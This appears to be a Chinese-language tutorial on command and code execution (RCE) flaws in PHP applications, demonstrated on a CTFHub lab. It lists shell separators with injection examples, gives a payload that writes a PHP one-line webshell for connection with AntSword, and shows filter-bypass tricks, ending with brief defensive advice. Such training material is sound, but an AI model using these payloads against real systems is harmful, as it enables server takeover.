RCE(remote command/code execute)遠端命令/程式碼執行漏洞,可以讓攻擊者直接向後臺伺服器遠端注入作業系統命令或者程式碼,從而控制後臺系統。
RCE漏洞
應用程式有時需要呼叫一些執行系統命令的函式,如在PHP中,使用system、exec、 shell_exec、 passthru、 popen、 proc_popen等函式可以執行系統命令。當黑客能控制這些函式中的引數時,就可以將惡意的系統命令拼接到正常命令中,從而造成命令執行攻擊,這就是命令執行漏洞
拼接命令時需要用到管道符
Windows管道符
- | :直接執行後面的語句。例如ping 127.0.0.1|whoami
- || :如果前面的語句執行失敗,則執行後面的語句,前面的語句只能為假才行。例如ping 2||whoami
- & :兩條命令都執行,如果前面的語句為假則直接執行後面的語句,前面的語句可真可假。例如ping 2&whoami
- && :如果前面的語句為假則直接出錯,也不執行後面的話句,前面的語句為真則兩條命令都執行,前面的語句只能為真。例如ping 127.0.0.1&&whoami
Linux管道符
- ; :執行完前面的語句再執行後面的語句。例如ping 127.0.0.1;whoami
- | :顯示後面語句的執行結果。例如ping 127.0.0.1|whoami
- || :當前面的語句執行出錯時,執行後面的語句。例如ping 2||whoami
- & :兩條命令都執行,如果前面的語句為假則執行執行後面的語句,前面的語句可真可假。例如ping 2&whoami
- &&:如果前面的語句為假則直接出錯,也不執行後面的語句,前面的語句為真則兩條命令都執行,前面的語句只能為真。例如ping 127.0.0.1&&whoami
命令執行漏洞攻擊演示
下面拿ctfhub中的命令注入靶場演示
是一個簡單的ping網站的頁面,輸入ip進行ping命令,
輸入ip沒什麼問題返回了結果,但是如果利用管道符拼接一些其他的系統命令例如whoami
成功執行了其他的系統命令
程式碼執行漏洞攻擊演示
也可以利用系統命令寫入一句話木馬
127.0.0.1&echo "<?php @eval(\$_POST['test']);?>" > 1.php
至於一句話木馬為什麼要加 \ ,看了網上的回答。echo命令會呼叫$_POST導致原始檔案中沒有,因此需要改為echo "<?php @eval(\$_POST['test']);?>" > 1.php即可
寫入一句話木馬之後,接下來用蟻劍連線即可
命令執行繞過過濾
這裡就列出幾個常見的,可以舉一反三
- 過濾cat
127.0.0.1;a=c;b=at;$a$b rce.php
或者127.0.0.1;a=c;b=at;${a}${b} rce_ping.php
- ; | & 符號過濾
用%0a來代替上面的符號。
- 過濾空格
如果空格也過濾掉,一般情況下%09
%0b
%0c
是有用的
防禦RCE攻擊
- 儘量不要使用命令執行函式。
- 客戶端提交的變數在進入執行命令函式前要做好過濾和檢測
- 在使用動態函式之前,確保使用的函式是指定的函式之ー。
- 對PHP語言來說,不能完全控制的危險函式最好不要使用